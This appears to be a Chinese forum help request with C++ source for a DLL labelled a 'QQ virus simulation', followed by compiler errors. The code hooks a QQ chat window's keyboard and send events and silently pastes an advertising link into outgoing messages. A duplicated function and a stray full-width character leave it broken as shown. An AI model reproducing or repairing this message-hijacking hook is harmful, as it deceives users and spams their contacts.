我照一贴子抄的代码,但不能编译,不小得错在哪,请大家帮忙看看
// QQ病毒模拟.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
TCHAR g_str[] = "欢迎来我的小站坐坐:http://dev.yesky.com";
HWND g_hRich=NULL;
HHOOK g_hProc=NULL;
HHOOK g_hKey=NULL;
HMODULE g_hInstDLL=NULL;
void PasteText(HWND hRich) // 函数功能:向文本框中粘贴尾巴
{
HGLOBAL hMem;
LPTSTR pStr;
hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str)); // 分配内存空间
pStr = GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem); // 设置剪贴板文本
CloseClipboard();
GlobalFree(hMem); // 释放内存空间
SendMessage(hRich, WM_PASTE, 0, 0); // 粘贴文本
}
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1) // 捕获“发送”按钮
PasteText(g_hRich);
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
if (g_hRich == NULL)
return FALSE;
// 挂接钩子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
if (g_hRich == NULL)
return FALSE;
// 挂接钩子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
g_hInstDLL=hModule;
return TRUE;
}
--------------------Configuration: QQ病毒模拟 - Win32 Debug--------------------
Compiling...
QQ病毒模拟.cpp
F:\my vc soucecode\QQ病毒模拟\QQ病毒模拟.cpp(7) : error C2018: unknown character '0xa3'
F:\my vc soucecode\QQ病毒模拟\QQ病毒模拟.cpp(7) : error C2018: unknown character '0xbb'
F:\my vc soucecode\QQ病毒模拟\QQ病毒模拟.cpp(8) : error C2146: syntax error : missing ';' before identifier 'HHOOK'
F:\my vc soucecode\QQ病毒模拟\QQ病毒模拟.cpp(8) : fatal error C1004: unexpected end of file found
Error executing cl.exe.
QQ病毒模拟.dll - 4 error(s), 0 warning(s)